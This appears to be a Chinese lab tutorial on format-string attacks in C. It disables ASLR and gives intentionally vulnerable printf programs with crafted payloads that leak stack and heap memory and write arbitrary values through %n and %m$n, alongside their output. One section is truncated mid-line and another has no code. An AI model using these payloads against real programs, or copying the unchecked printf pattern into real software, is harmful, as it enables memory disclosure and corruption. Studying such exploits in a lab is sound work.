LE模式,在实验之前使用“sysctl -w kernel.randomize_va_space=0”关闭ASLR。
另一种关闭ASLR方法:setarch `uname -m` -R /bin/bash
(一):
利用format string读memory内容
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void dump(void){
char s[] = "\x08\xb0\x04\x08\n%08x\n%08x\n%08x\n%08x\n%08x\n%s\n\n\n";//mark为红色的部分为s的地址LE模式转换,string尾部的"\n"用来对齐地址
printf(s);
return;
}
int main()
{
char* s = NULL;
s = (char*)malloc(64);
printf("the address is %p\n", s);
strcpy(s, "Hello World!\n");
dump();
return 0;
}
root@ubuntu:/tmp# ./a.out
the address is 0x804b008 °
bffff6f4
00000040
b7e9af57
00000040
b7e275e8
Hello World!
root@ubuntu:/tmp#
(二)
#include <stdio.h>
#include <string.h>32
(三)向任意内存写任意数值
本例采用方法,将32bit分成两组16bits,先写低两位,后写高两位。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int b = 1;
int main()
{
int a = 0;
char fmt[] = "\x18\xa0\x04\x08\n\n\n\nAAAA\x1a\xa0\x04\x08\nAAA\n%08x\n%08x\n%08x\n%08x\n%08x\n%33x\n%n\n\n\n%08x\n%08x\n%n\n\n\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n";
printf("%p\n", &b);
printf(fmt);
printf("\n\n\n%x\n\n", b);
return 0;
}
root@ubuntu:/tmp# ./a.out
0x804a018
AAAA
AAA
0804a018
00000000
b7fc5ff4
bffff6ce
bffff6cf
0
0a0a0a0a
41414141
4141410a
3830250a
30250a78
250a7838
0a783830
78383025
3830250a
33250a78
790064
root@ubuntu:/tmp#
(四)%m$n在format string中应用,$m$n计算偏移,用已经输出的char的个数赋值。
0xbffff6cc用是局部变量a的地址,通过%6$n偏移找到a变量在栈中的位置,将3+16+1赋值给该地址中的变量,也就是将20赋值给a
root@ubuntu:/tmp#